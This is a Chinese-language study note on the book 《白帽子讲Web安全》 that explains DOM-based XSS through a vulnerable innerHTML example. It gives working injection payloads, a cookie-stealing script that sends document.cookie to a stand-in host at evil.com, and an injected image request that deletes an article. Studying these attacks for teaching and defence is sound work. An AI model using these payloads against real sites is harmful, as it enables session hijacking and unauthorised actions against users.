《白帽子讲Web安全》学习笔记01 XSS
DOM Based XSS
通过修改页面的DOM节点形成的XSS
<script>
function test(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value=""/>
<input type="button" id="s" value="write" onclick="test()" />
点击write按钮后插入超链接地址是文本框的内容
按钮的onclick事件调用了test函数,中修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入页面中,造成了DOM Based XSS
有两种利用方式:
1.构造一个新事件
' onclick=alert(/xss/) //
页面代码就变成了:
<a href='' onclick=alert(/xss/)//' >testLink</a>
1)用一个单引号闭合掉href的第一个单引号
2)插入一个onclick事件
3)用//注释掉第二个单引号
2.闭合掉a标签,插入一个新的HTML标签。
输入
'><img src="#" οnerrοr=alert(/xss2/) /><'
页面代码就变成了:
<a href=''><img src="#" onerror=alert(/xss2/) /><'' >testLink</a>
恶意脚本被执行
XSS payload
窃取cookie
?abc="><script src="http://www.evil.com/evil.js ></script>
//evil.js
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
构造GET和POST请求
GET
js插入图片发起GET请求删除文章
var img = document.createElement("img");
img.src = "xxx?m=delete&id=xxx";
document.body.appendChild(img);